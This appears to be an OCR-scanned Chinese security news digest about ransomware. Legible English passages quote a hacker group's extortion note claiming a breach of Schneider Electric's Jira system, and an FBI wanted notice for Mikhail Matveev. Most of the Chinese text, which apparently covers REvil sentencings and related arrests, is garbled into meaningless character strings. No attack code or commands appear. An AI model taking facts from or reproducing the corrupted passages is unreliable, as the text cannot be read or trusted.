[ JHSEER T MBKE, HEMANLEIRINE T REETE . Mz TR LAERRIER
WHMRTIEE), AR ATEMER].
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IEMEERESEMIA, EREEFIRNZATINJIRAIRS 2RI 7 40GBRYEUES, FF&
ARFEBEIBIR

10BIE, —u&BM “Grep” HWEEHFEEXLENZAT, TRBIIEEANETHER
%, ESEARIXIER, GrepRMUIERRERNEIEANE T Schneider ElectricA9Jiraii
£, HKEWTRIRE, MIIEFREAMINOrange REST APWEN T 400k{TREFEUE
Grepzx, HEHEFE750001NME—HIRRFRBEIEIILAKR Schneider ElectricR TAIEFHIE
Ao

R LSRG, WEE FIsihER1250005ThY “Baguettes” SEHRERANH
BYE, HFRZETEXEERSNESFARER.

Grep#H— L HIFEARMIIFRIEMIZ T — IR EAR International Contract
Agency (ICA) , LA {RF: 547) FmE. WEEFR, ZARUEIEEEM]
ANEHRE], A, AF/A “ICA” BiRE “FE="8WoFRAR" GXE, HLHEFRTMH
ITBREEZ SHellcatBhZ=AAN, BRIEENNBTEHERKENINESS .

Schneider Electric - France

We have successfully breached Schneider Electric’s
infrastructure, accessing their Atlassian Jira system.

This breach has compromised critical data, including projects,
issues, and plugins, along with over 400,000 rows of user
data, totaling more than 40GB Compressed Data.

Schneider Electric, a leader in energy management and
automation with annual revenue exceeding $40 billion, is now
at risk of exposing sensitive customer and operational
information.

To secure the deletion of this data and prevent its public
release, we require a payment of $125,000 USD in Baguettes.
Failure to meet this demand will result in the dissemination
of the compromised information.

Stating this breach will decrease the ransom by 50%, its your
choice Olivier...

peNEIVANGI R RS G
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_I_
B Wil 2 PR 41 208 51D

HTE52024F10BFREARREVIBIRIH TN E R REBITAFISEE, FER
DREERHIEIEEREZA SR . REVIEIZERRH ( X&SodinF1Sodinokibi ) 720194
AB{FAGandCrab#i RN BEREEE RS . EARI—FREE, ZEAKRAZIK
R USERRERNK, BRESNGESHNIESSM, FE—FABBBIE1{23ETa03Ex
W

SR, 7E2021578H, HRevifEKaseyafft i+ T £3k15002 K EVVAT,
Z R AIME D T S EE——ERXXORKEMIER, EESAEEERETHR
GBI B EESIINEZILTE S FREBUTs, BUEERBTREYTE. HFEREE
XkBERNED, REVIEETT—BINE, ARERITBEREERSE. B2, BEEE
PUEED VBB E RS EY T EE 2 BIE AR 7 tEIA0RSES .

e, NEEBRIESR, BSHETZERE (FSB) F202241 BE—IRERRIET
NI TZE BRI R (BiEKaseyallEE B RS ) 5, B85 T REVIBIZERRK
Bk . FSBIELORITAIFIRIN T 1428 T EEIKAR . 38R T 25 M Bk, RIRiRIT
6605 ETTRYEEMN . HBHE LB INE—MOHERE ER: “HEEENE
BEETEISBRINT, MIRETIEEEXAE, DURMBISINEERG . IIEER
MERBEEERESRAINESHATEERIR.

IEREAKRE, S RHEZTEFHEH, HPArtem Zayets. Alexey
Malozemov. Daniil Puzyrevsky#lRuslan KhansvyaroviE20245103258##F, 5
SMUABERMEIR, BEDINER (ERAR) IRE, ZayetsSXiEFIA4FESTBRIGHA
#EM, MalozemovUEHISSEFHAFER , Khansvyarov#FIA5564 B EHARER
Puzyrevsky##2-6 FEHARER o
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Hittl=2 RIS E R IRAEF P EZIE S EYERAIEH

BRI Z AN, BSEHIESR IIAE2024F 11 BEEEHE R RSBENSER LTSS
ZMikhail Pavlovich Matveev ( X#fWazawaka. Uhodiransomwar. m1x@%
Boriselcin® ) , SERREFAEEIGHS52 N BEHA,

MIKHAIL PAVLOVICH MATVEEV

Computer Intrusion; Conspiracy; Intentional Damage to a Protected Computer; Threats Relating to a
Protected Computer; Aiding and Abetting

DESCRIPTION

Aliases: "Wazawaka", "Boriscelcin®, "m1x", "Uhodiransomwar®

FBIXWazawakafiBS(ER

IEESHERHEVIMRIA NovostiFfZZIRNERZRIRHER: BAEREDREER

RNBAEXLABH (EEEXHFHERN ‘BFR" ) EQTHAT, BHALER

Matveev, ESHIRFETE—HFERTE: “Brl, BEARCSEWETIEBRIILE, G5
ERERFPRIASERAERINETREEH R GEFH TN .

IEANMEEEREZROleg ShakirovENRAIIRIEREE, Matveeviliis=A#Zzm G (K
REDREGEMAATTLINEX GRS “ERTERE" ) , FRETIERHERR
HRINE " RRRESE, LMEARRMBIIERRIR SIS TRE"
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